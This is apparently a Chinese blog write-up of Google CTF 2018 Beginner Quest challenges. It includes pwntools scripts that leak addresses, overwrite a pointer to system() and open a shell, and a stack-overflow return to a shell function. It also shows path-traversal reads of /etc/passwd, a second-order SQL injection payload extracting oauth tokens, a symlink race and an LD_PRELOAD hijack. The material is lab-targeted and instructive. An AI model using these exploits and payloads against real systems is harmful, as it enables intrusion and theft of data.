风之栖息地

Google CTF Beginner Part2

字数统计: 1.7k阅读时长: 7 min
2018/08/15 Share

Holey Beep(PWN)

Holey Beep是CVE-2018-0492,详细的漏洞细节 https://sigint.sh/#/holeybeep 。一开始以为要用这个的exp,结果一看给的二进制文件,似乎不太对……我们需要得到/secret_cake_recipe的内容,然而权限不够,所以这里应该是拿来越权的。

我们看到第一个if是一个通过信号触发的条件,第二个if知道了程序需要参数,然后会open一个写死的路径,之后将输入的参数代入ioctl(device,0x4B2F,参数),出现问题就会打印报错信息,然后关闭打开的文件。循环上面的操作把所有的参数都跑一遍。

信号触发的if会执行额外的一段函数。

这里if成功的话就会打印错误信息,读取open的文件输出出来。这里应该是重点,有读写操作。

如果我们读的文件是/secret_cake_recipe那么只要触发signal以及满足if判断就可以拿到数据。这里可以用ln -s软链接生成dev/console,然后我们执行该程序同时发送SIGTERM信号就可以越权拿到数据。这里需要注意的是我们要让程序延长运行时间才行,如果运行时间不足,还没接收到信号就结束了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# coding=utf-8

from pwn import *
from struct import unpack,pack
from time import sleep

r = remote("fridge-todo-list.ctfcompetition.com", 1337)
r.send("whz\n")
r.readuntil(">")
r.send("2\n")
r.readuntil("read?")
r.send("-6\n")
res = r.readuntil("Hi whz,").splitlines()[0]
write_addr = res.split(':', 1)[1][1:].ljust(8,chr(0))
write_addr = unpack("<Q", write_addr)[0]
base_addr = write_addr - 0x910
system_addr = base_addr + 0x940
r.readuntil(">")
r.send("3\n")
r.readuntil("entry?")
r.send("-4\n")
r.send("A"*8 + pack("<Q", system_addr) + "\n")
r.send("/bin/sh\n")
sleep(1)
r.send("cd /tmp\n")
r.send("echo '#!/bin/bash' > pwn.sh\n")
r.send("echo 'mkdir dev' >> pwn.sh\n")
r.send("echo 'ln -s /secret_cake_recipe dev/console' >> pwn.sh\n")
r.send("echo '/home/user/holey_beep {1..4096} &' >> pwn.sh\n")
r.send("echo 'pkill holey_beep -SIGTERM' >> pwn.sh\n")
r.send("chmod +x pwn.sh\n")
r.send("./pwn.sh\n")

r.interactive()

这里需要多试几次来触发条件竞争,最后拿到flag

Admin UI(PWN+RE)

看了题目的介绍,再加上这个补丁信息,知道了有路径穿越漏洞。而一看提供的功能中只有第二个选项有读的操作,然后试了一下../../../../../../../../../../../etc/passwd,果然读到了passwd文件。

那么剩下来的就只是寻找要读的文件了。

通过使用../../../../../../proc/self/cmdline得到运行程序的命令行参数。

得到运行程序的命名,需要猜路径,猜到了../main,把读取到的二进制文件保存下来 printf "2\n../main\n3\n" | nc mngmnt-iface.ctfcompetition.com 1337 > output.bin

再通过16进制编辑器把多余的目录删掉,这样就得到了服务器上的二进制文件。

浏览代码,在验证登录的过程中打开了flag文件,然后比较输入。这样目标就很明确了,直接读../flag就可以拿到flag。

Admin UI 2(PWN+RE)

继续上一题的程序分析第二个密码

可以看到这里对我们的输入异或之后会得到flag数组中的赋值,我们可以得到flag数组的值,只要再次异或回去即可得到密码。

1
2
3
4
5
6
7
8
e_string = [0x84, 0x93, 0x81, 0xbc, 0x93, 0xb0, 0xa8, 0x98, 0x97, 0xa6, 0xb4, 0x94, 0xb0, 0xa8, 0xb5, 0x83, 0xbd, 0x98, 0x85, 0xa2, 0xb3, 0xb3, 0xa2, 0xb5, 0x98, 0xb3, 0xaf, 0xf3, 0xa9, 0x98, 0xf6, 0x98, 0xac, 0xf8, 0xba]
flag = ""

for s in e_string:
s ^= 0xc7
flag += chr(s)

print flag

Admin UI 3(PWN+RE)

这里有两个漏洞点,第一个是格式化字符串漏洞,第二个是栈溢出漏洞,我这里是使用的是栈溢出漏洞。

看到缓冲区的位置离bp寄存器有0x30的距离。

又因为是64位程序,所以再加上8个字节的RBP,最后加上我们的geishell函数地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# coding=utf-8

from pwn import *

r = remote('mngmnt-iface.ctfcompetition.com',1337)
shell_add = 0x41414349

r.send("1\n\n")
r.recvuntil("password")
r.send("CTF{I_luv_buggy_sOFtware}\n")
r.recvuntil("password")
r.send("A"*35+"\n")
r.recvuntil("Authenticated")
r.send("A"*0x38 + p64(shell_add))
r.send("quit\n")
r.send("quit\n")
r.interactive()

Firmware(RE)

虽然标签写的是RE但是……,做完的感觉就是一个MISC。

首先拿到一个zip文件,解压之后是一个gz压缩包,再次解压得到ext4的文件,搜索之后得知是一个Linux的文件系统。直接挂载之,mount -t ext4 challenge2.ext4 /mnt,需要root权限。挂载之后寻找线索,找了一圈在根目录下有个隐藏压缩文件.mediapc_backdoor_password.gz,解压cat一下,得到flag。

Gatekeepker(RE)

一个简单的字符串逆序程序,有两个参数,第二个参数会被逆序,然后和zLl1ks_d4m_T0g_I比较,这样就简单了,直接逆转回来就好。

Media-DB(MISC)

给了一个python文件,大概的功能是能记录歌手和歌曲的一个简易控制台,要我们获取oauth_token。在输入点中过滤了单引号,而且输入点只有一个没有办法使用\来转义单引号逃逸字符串,所以这里只能寻找其他思路来突破。

观察到这里有一个从数据库随机读歌手的操作,再加上之前的操作单引号,双引号过滤不一致。

那么这里的不一致性就会造成二阶注入,我们可以在过滤双引号的输入点中注入带有单引号的数据,然后在随机读歌手的时候单引号会被代入SQL语句中造成SQL注入。

xxxx' union select 1,oauth_token from oauth_tokens --

这里顺带一提不能使用#注释符,因为#符号在python中也是注释符会破坏语法。

Filter env(PWN)

给了C的源代码,主要操作就是设置环境变量,代码中过滤了一些常见的环境变量。

问题出在这个过滤只执行一次,所以我们重复设置环境变量就可以了。这里是利用LD_PRELOAD劫持函数,执行我们编译的函数。

1
2
3
4
5
6
7
8
9
#include<stdlib.h>
#include<unistd.h>

void __libc_start_main()
{
char *arg[] = {"/bin/cat", "/home/adminimum/flag", 0};
execve(arg[0], arg, 0);
exit(0);
}

gcc load.c -o load -shared -fPIC生成动态链接文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# coding=utf-8

from pwn import *
import base64

load_file = base64.b64encode(open("load", "rb").read())

r = remote("env.ctfcompetition.com", 1337)
r.send("cd /tmp\n")
r.send("echo '" + load_file + "' > load.txt\n")
r.send("base64 -d load.txt > load.so\n")
r.send("/home/adminimum/filterenv\n")
r.send("LD_PRELOAD=/tmp\n")
r.send("LD_PRELOAD=/tmp/load.so\n")
r.send("\n")

r.interactive()

总结

学到了一些PWN方面的知识还是不错的,丰富知识面。就是想吐槽这个题目的标签,很多都是挂羊头卖狗肉。

CATALOG
  1. 1. Holey Beep(PWN)
  2. 2. Admin UI(PWN+RE)
  3. 3. Admin UI 2(PWN+RE)
  4. 4. Admin UI 3(PWN+RE)
  5. 5. Firmware(RE)
  6. 6. Gatekeepker(RE)
  7. 7. Media-DB(MISC)
  8. 8. Filter env(PWN)
  9. 9. 总结